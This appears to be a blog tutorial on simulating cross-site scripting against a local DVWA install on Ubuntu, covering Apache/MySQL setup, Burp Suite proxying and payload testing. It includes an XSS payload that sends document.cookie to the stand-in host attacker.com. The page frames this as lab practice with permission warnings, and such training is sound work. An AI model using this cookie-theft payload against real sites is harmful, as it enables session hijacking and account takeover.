✅ STEP-BY-STEP XSS ATTACK SIMULATION (Ubuntu Version)

Search for a command to run...

No comments yet. Be the first to comment.
Let’s build a Secure Personal AI API with Ollama, Nginx, and Cloudflare Tunnel using oracle ubuntu instance Prerequisites and Target Audience ⚠️ Important Notice: This is not a beginner-friendly tutorial. This guide assumes you have practical, hands-...

Introduction Running applications on Oracle Cloud Infrastructure (OCI) requires more than just starting your server—you need a robust setup that ensures your services stay running, restart automatically after crashes, and survive system reboots. This...

Ever found yourself in one of these situations? "Can you check my website?" but your app is running on localhost:3000 Need to test webhooks from external services but they can't reach your local machine Want to show a client your work-in-progress ...

This article walks you through every single file required to get a secure, refresh-token-enabled JWT authentication system in NestJS with Prisma, bcrypt, Passport, and class-validator.Copy / paste the snippets in order and you will have a working pro...

Introduction to Amazon EC2 Compute refers to the processing power needed to run applications, manage data, and perform calculations. In the cloud, this power is available on-demand. You can access it remotely without owning or maintaining physical ha...
Open your terminal and run:
sudo apt update
sudo apt install apache2 mysql-server php php-mysqli git unzip
sudo systemctl start apache2
sudo systemctl start mysql
sudo systemctl enable apache2
sudo systemctl enable mysql
/var/www/html
sudo git clone https://github.com/digininja/DVWA.git
sudo chown -R www-data:www-data DVWA
sudo mysql
Inside MySQL shell:
CREATE DATABASE dvwa;
CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwauser'@'localhost';
FLUSH PRIVILEGES;
EXIT;
cd /var/www/html/DVWA/config
sudo cp config.inc.php.dist config.inc.php
sudo nano config.inc.php
Modify these lines:
$_DVWA['db_user'] = 'dvwauser';
$_DVWA['db_password'] = 'password';
sudo chmod -R 755 /var/www/html/DVWA/hackable/uploads/
Open browser and go to: http://localhost/DVWA/setup.php
Click "Create / Reset Database"
Log in:
Username: admin
Password: password (default)
Go to DVWA Security tab, set security level to Low
Download from: https://portswigger.net/burp/communitydownload
Give execution permission:
chmod +x burpsuite_community_linux.sh
./burpsuite_community_linux.sh
Open Firefox → Settings → Network Settings
Set Manual Proxy:
HTTP Proxy: 127.0.0.1
Port: 8080
Check: "Use this proxy for all protocols"
In Firefox, visit: http://burp
Download the CA certificate
Go to Settings → Certificates → Authorities → Import and trust the certificate
In input field:
<script>alert('XSS Works!');</script>
Submit → Alert box should appear
Try advanced:
<script>document.location='http://attacker.com?cookie='+document.cookie</script>
💡 For simulation only. Replace with Burp Collaborator URL or a dummy address.
Go to Proxy > Intercept in Burp → Ensure “Intercept is ON”
Submit the form again in DVWA
Request will be captured → Click "Send to Repeater"
Modify payload in Repeater → Re-send → Observe changes
Use Firefox Dev Tools (F12) → Console → document.cookie
Observe the execution and any captured data
Take screenshots of:
Input form
Alert box
Burp Repeater
Console output
Only test on your local Ubuntu/DVWA installation.
Never test XSS on live websites or without written permission.